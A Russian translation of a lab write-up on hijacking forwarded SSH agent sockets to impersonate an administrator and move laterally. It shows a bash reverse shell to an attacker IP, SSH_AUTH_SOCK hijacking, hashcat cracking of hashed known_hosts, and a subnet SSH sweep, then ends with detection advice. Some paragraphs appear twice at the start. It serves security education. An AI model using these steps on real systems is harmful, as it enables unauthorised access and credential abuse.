Автор оригинала: Graham Helton
Автор перевода @ru_vds
Источник habr.com

Чтобы показать, почему это может быть очень плохо, предположим, что admin на самом деле подключается к серверу командой ssh -A root@<server>. Но зачем вообще это кому-то делать? Разве нельзя просто создать политику, запрещающую администраторам использовать перенаправление агентов? Существует несколько ситуаций, в которых это может быть полезно.
Чтобы это стало чуть понятнее, давайте изучим полную цепь атаки в лабораторном окружении.
Получив доступ к машине, я воспользовался Python для создания полностью интерактивного TTY командой
Далее выполнение команды ssh-add -l на vuln-server позволяет нам определить, есть ли загруженные идентификационные данные. Пока идентификационные данные не загружены, и это означает, что никто не вошёл на этот сервер как root сессией SSH при помощи ssh-agent. Вполне нормальная ситуация.
А теперь начинается интересное. Если мы выполним lsof -U | grep agent, то получим результат, говорящий нам, что пользователь admin подключился к машине и использует SSH-Agent. Повторюсь, важно отметить, что мы можем видеть это только потому, что уже имеем root в системе (или полномочия другого привилегированного пользователя).
Помня об этом, попробуем захватить сокет SSH_AUTH_SOCK. Это достаточно тривиальная задача. Для этого достаточно лишь задать переменную окружения рут-пользователя при помощи команды export. Для этого просто возьмём путь /tmp/ssh-ZzrtT2ZwVr/agent.4145, определённый в предыдущей команде lsof -U | grep agent, и присвоим его переменной окружения SSH_AUTH_SOCK, выполнив export SSH_AUTH_SOCK=/tmp/ssh-ZzrtT2ZwVr/agent4145.
Теперь, когда мы указали переменной окружения существующий SSH-сокет, мы, по сути, скомпрометировали сессию SSH для пользователя admin. Ещё раз выполнив команду ssh-add -l, мы увидим отпечаток ключей на ЛОКАЛЬНОЙ машине пользователя admin. Я выполнил ssh-add -l на своей локальной машине (на которой я залогинен как admin) и можно увидеть, что отпечатки такие же, потому что я вошёл на скомпрометированную машину при помощи перенаправления агента.
Так как теперь у нас есть доступ к ключам ssh-agent пользователя admin, можно использовать их для подключения к другим хостам, к которым ранее подключался администратор. К счастью (или к несчастью), это неполная компрометация приватного ключа, так как SSH-Agent не позволяет никаким образом экспортировать сам приватный ключ. Верификация сервера использует систему запроса/ответа для проверки аутентичности ключа. Если вам любопытно, то более подробно об этом можно прочитать здесь. Но это позволяет нам сделать что-то даже лучше, чем полная компрометация ключа, потому что позволяет обойти необходимость знания пароля приватных ключей и подключаться к компьютерам, к которым раньше подключался пользователь admin.
Как же нам узнать, к чему получал доступ скомпрометированный аккаунт администратора? Это можно сделать несколькими способами. Во-первых, проверив файл /home/admin/known_hosts. В этом файле обычно содержатся IP-адреса ранее посещавшихся хостов. Однако взглянув на файл (в системе Ubuntu 20.04), можно заметить, что там нет никаких IP-адресов… Как же так?
За это можно поблагодарить опцию HashKnownHosts файла /etc/ssh/ssh_config. Если эта опция установлена, то хосты, к которым подключался admin, будут хэшированы.
Преобразовав файл known_hosts в более удобный для взлома формат (и сев за машину, на которой hashcat хорошо работает), мы можем взломать хэши следующей командой hashcat: hashcat.bin -m 160 --hex-salt ../converted_known_hosts -a 3 ipv4_hcmask.txt --quiet. Таким образом, мы можем увидеть, что admin подключался по SSH к IP-адресам 192.168.1.3 и 192.168.1.2. Теперь мы можем попробовать аутентифицироваться на каждой из этих машин, чтобы понять, можно ли переместиться к ним горизонтально по сети.
У такого способа есть недостатки.
https://www.ssh.com/academy/ssh/agent
https://smallstep.com/blog/ssh-agent-explained/
https://www.linode.com/docs/guides/using-ssh-agent/
https://en.wikipedia.org/wiki/Ssh-agent
Автор перевода @ru_vds
Источник habr.com

Введение
Однажды я просматривал видео из закладок и решил запустить AASLR: Leveraging SSH Keys for Lateral Movement Хэла Померанца. Примерно на середине видео я захотел начать заново и открыл заметки, чтобы документировать полученную информацию, потому что это был очень интересный материал, которого я не видел раньше. Воспользовавшись этой информацией как фундаментом, я начал искать другие способы применения утилиты ssh-agent и решил создать демо в своей домашней лаборатории. В этом посте я расскажу о своих открытиях.Что такое SSH Agent?
Для начала нам немного нужно разобраться с тем, что происходит с процессом ssh-agent. ssh-agent — это интересная утилита, используемая для повышения удобства работы с приватными ключами. Она схожа с технологией единого входа (single sign on), но для ключей SSH. SSH agent позволяет командой ssh-add <private_key_file> добавлять в агент, работающий на локальной машине, приватные ключи/идентификационные данные. Список этих ключей можно получить с помощью ssh-add -l. Добавив ключ в утилиту ssh-agent, можно подключиться по ssh к серверу при помощи ключа, не вводя пароль повторно. Это полезно как для людей, так и аккаунтов сервисов. Любопытно, что можно также перенаправить агент ключей к машине, с которой выполняется подключение, что позволяет использовать приватные ключи с машины, к которой вы подключены. Вот пример:- Admin — это администратор сервера, отвечающий за обслуживание множества разных серверов Linux. Admin использует SSH для удалённого подключения ко множеству машин для выполнения своих администраторских задач.
- Admin использует утилиту ssh-agent для упрощения подключения к десяткам серверов с разными ключами (защищённых уникальными паролями). Это делается при помощи команды ssh-add <privatekey>. (Примечание: при добавлении к кольцу ключей ssh-agent необходимо правильно ввести пароль.)
- Теперь, если admin должен подключиться, например, к DNS-серверу (pihole), то вместо ввода ssh -i /path/to/key/file root@pi.hole и уникального пароля к файлу ключа он может просто ввести ssh root@pihole и подключение будет установлено.
Чтобы показать, почему это может быть очень плохо, предположим, что admin на самом деле подключается к серверу командой ssh -A root@<server>. Но зачем вообще это кому-то делать? Разве нельзя просто создать политику, запрещающую администраторам использовать перенаправление агентов? Существует несколько ситуаций, в которых это может быть полезно.
- Jumphost: в корпоративных окружениях доступ к уязвимым серверам с личной машины — не очень хорошая политика безопасности. Вместо этого можно использовать инсталляционные серверы (jumphost). Эти особые серверы (в идеале) являются единственными серверами, способными подключаться к уязвимым машинам по ssh. Такую сегментацию можно реализовать через фаерволы. Например: ssh root@super_important_dns_server невозможно будет выполнить с вашей локальной машины, если только ваш трафик не проксируется через jumpserver.
- Вы подключились к серверу разработки, которому требуется особый доступ к чему-то (например, к git-репозиторию), но вы не хотите хранить свой приватный ключ на сервере разработки.
Предположим, что вы администратор и вам нужно внести изменения в DNS-сервер, залогинившись в него через SSH. Вам бы хотелось сделать это, не сохраняя приватный ключ SSH на jumphost, потому что им пользуются и другие люди. Для этого можно использовать перенаправление агента через ssh -A root@jumphost. Так как у нашей локальной машины есть в ssh-agent приватный ключ для root@pi.hole, можно просто выполнить ssh root@pi.hole с jumphost и получить доступ к pi.hole, не применяя никакие другие меры безопасности. Что же может пойти не так? Если нападающий стремится освоиться в нашей сети, то похищение ключей администратора очень ему в этом поможет. В этом посте мы предполагаем, что admin подключается к серверу, скомпрометированному нападающим, который получил полномочия рута при помощи ssh -A root@<compromised_server>.TLDR; перенаправление SSH Agent позволяет не сохранять приватные ключи в местах, над которыми у вас нет контроля.
Чтобы это стало чуть понятнее, давайте изучим полную цепь атаки в лабораторном окружении.
Демо
Для начала давайте поймём окружение, в котором находимся.
Подробный обзор
Начнём по порядку: первым делом давайте обоснуемся на уязвимом сервере. В реальной ситуации вы сами (или ваша команда начального доступа) должны будете зайти на сервер Linux и скомпрометировать рут-аккаунт. В этом демо я буду выполнять атаку из root@attacker-server и создам reverse shell при помощи простого bash reverse shellbash -i >& /dev/tcp/192.168.1.184/1337 0>&1 и слушателя netcat netcat -nvlp 1337. Это установит крайне рудиментарный доступ к скомпрометированному серверу vuln-server.Получив доступ к машине, я воспользовался Python для создания полностью интерактивного TTY командой
python -c 'import pty; pty.spawn("/bin/bash")'. Чаще всего это необязательно, но это упростит работу.Далее выполнение команды ssh-add -l на vuln-server позволяет нам определить, есть ли загруженные идентификационные данные. Пока идентификационные данные не загружены, и это означает, что никто не вошёл на этот сервер как root сессией SSH при помощи ssh-agent. Вполне нормальная ситуация.
А теперь начинается интересное. Если мы выполним lsof -U | grep agent, то получим результат, говорящий нам, что пользователь admin подключился к машине и использует SSH-Agent. Повторюсь, важно отметить, что мы можем видеть это только потому, что уже имеем root в системе (или полномочия другого привилегированного пользователя).
Помня об этом, попробуем захватить сокет SSH_AUTH_SOCK. Это достаточно тривиальная задача. Для этого достаточно лишь задать переменную окружения рут-пользователя при помощи команды export. Для этого просто возьмём путь /tmp/ssh-ZzrtT2ZwVr/agent.4145, определённый в предыдущей команде lsof -U | grep agent, и присвоим его переменной окружения SSH_AUTH_SOCK, выполнив export SSH_AUTH_SOCK=/tmp/ssh-ZzrtT2ZwVr/agent4145.
Теперь, когда мы указали переменной окружения существующий SSH-сокет, мы, по сути, скомпрометировали сессию SSH для пользователя admin. Ещё раз выполнив команду ssh-add -l, мы увидим отпечаток ключей на ЛОКАЛЬНОЙ машине пользователя admin. Я выполнил ssh-add -l на своей локальной машине (на которой я залогинен как admin) и можно увидеть, что отпечатки такие же, потому что я вошёл на скомпрометированную машину при помощи перенаправления агента.
Так как теперь у нас есть доступ к ключам ssh-agent пользователя admin, можно использовать их для подключения к другим хостам, к которым ранее подключался администратор. К счастью (или к несчастью), это неполная компрометация приватного ключа, так как SSH-Agent не позволяет никаким образом экспортировать сам приватный ключ. Верификация сервера использует систему запроса/ответа для проверки аутентичности ключа. Если вам любопытно, то более подробно об этом можно прочитать здесь. Но это позволяет нам сделать что-то даже лучше, чем полная компрометация ключа, потому что позволяет обойти необходимость знания пароля приватных ключей и подключаться к компьютерам, к которым раньше подключался пользователь admin.
Как же нам узнать, к чему получал доступ скомпрометированный аккаунт администратора? Это можно сделать несколькими способами. Во-первых, проверив файл /home/admin/known_hosts. В этом файле обычно содержатся IP-адреса ранее посещавшихся хостов. Однако взглянув на файл (в системе Ubuntu 20.04), можно заметить, что там нет никаких IP-адресов… Как же так?
За это можно поблагодарить опцию HashKnownHosts файла /etc/ssh/ssh_config. Если эта опция установлена, то хосты, к которым подключался admin, будут хэшированы.
Способ 1: взлом хэшей
Один из способов обхода этой опции HashKnownHosts заключается во взломе хэшей при помощи инструмента наподобие hashcat. К счастью, кто-то потратил своё время на создание отличного инструмента на Python для автоматического преобразования файла known_hosts в формат, который может парсить hashcat. Воспользуемся инструментом с подходящим названием Known_Hosts-Hashcat. Мои благодарности его создателю chris408!
Преобразовав файл known_hosts в более удобный для взлома формат (и сев за машину, на которой hashcat хорошо работает), мы можем взломать хэши следующей командой hashcat: hashcat.bin -m 160 --hex-salt ../converted_known_hosts -a 3 ipv4_hcmask.txt --quiet. Таким образом, мы можем увидеть, что admin подключался по SSH к IP-адресам 192.168.1.3 и 192.168.1.2. Теперь мы можем попробовать аутентифицироваться на каждой из этих машин, чтобы понять, можно ли переместиться к ним горизонтально по сети.
Способ 2: проверка файла истории
Ещё один простой способ понять, к чему у нас может быть доступ — это проверка файла /home/admin/.bash_history. Так как мы под рутом на этой машине, просмотреть его удастся без проблем.
У такого способа есть недостатки.
- Файл истории bash может быть по каким-то причинам очищен (но это маловероятно)
- Пользователь мог не выполнить выход на машине, поэтому запись в файл истории могла ещё не произойти.
- Может быть задано маленькое ограничение на размер истории bash, поэтому данные окажутся недоступными.
Способ 3: проверяем всё
Ещё один странный способ, который можно попробовать для составления списка машин, к которым у нас есть доступ: запуск скрипта bash, пытающегося войти по ssh в каждый домен в 192.168.1.0/24 и выполнить несколько команд. Если вы видите вывод для определённого IP-адреса, то значит, у нас есть доступ к этой машине. Я не рекомендую этого делать, но это возможно, если вы не пытаетесь скрыть свои действия. Не особо изящно, но свою задачу решает.
Код:
for i in 192.168.1.{1..255}; do echo "Checking $i for access..." ; ssh -o BatchMode=yes root@$i "hostname; whoami; ip -c a | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'" 2>/dev/null; done
Кража SSH-сессии
Если мы уже нашли свидетельства того, к чему подключался admin, то остаётся тривиальная задача маскировки под пользователя при помощи его идентификационных данных ssh-agent. Правильно задав переменную окружения SSH_AUTH_SOCK, можно просто подключиться по ssh к обнаруженному серверу. Например: ssh root@pi.hole. Даже если ключ ssh, обычно используемый для доступа к этому серверу, защищён паролем, то вы залогинитесь на удалённом сервере без запроса пароля приватного ключа. В своём случае мне удалось аутентифицироваться на DNS-сервере.
Выявление
Как и в случае с большинством атак, оптимальнее всего выявлять подобные виды компрометации благодаря пониманию структуры сети и её сегментированию. Учитывая, что это не особо сложный эксплойт, если вы не знаете, что искать, то выявить его будет довольно трудно. Мои рекомендации:- Сегментируйте свою сеть. В этом примере всё находилось в однородной сети, поэтому изучить её было очень просто.
- Обеспечьте понимание структуры и поведения своей сети. В реальной ситуации должно быть очень подозрительно, что ваш веб-сервер в DMZ подключается по SSH ко всему.
Подведём итог
Итак, уязвимость ли это? Не совсем. Как и многие вещи в мире безопасности, эта «атака» на самом деле является зловредным применением обычной функциональности. Задача этого поста — объяснить вам, что теоретически может произойти в подходящих обстоятельствах.Ссылки
https://smallstep.com/blog/ssh-agent-explained/
https://www.linode.com/docs/guides/using-ssh-agent/
https://en.wikipedia.org/wiki/Ssh-agent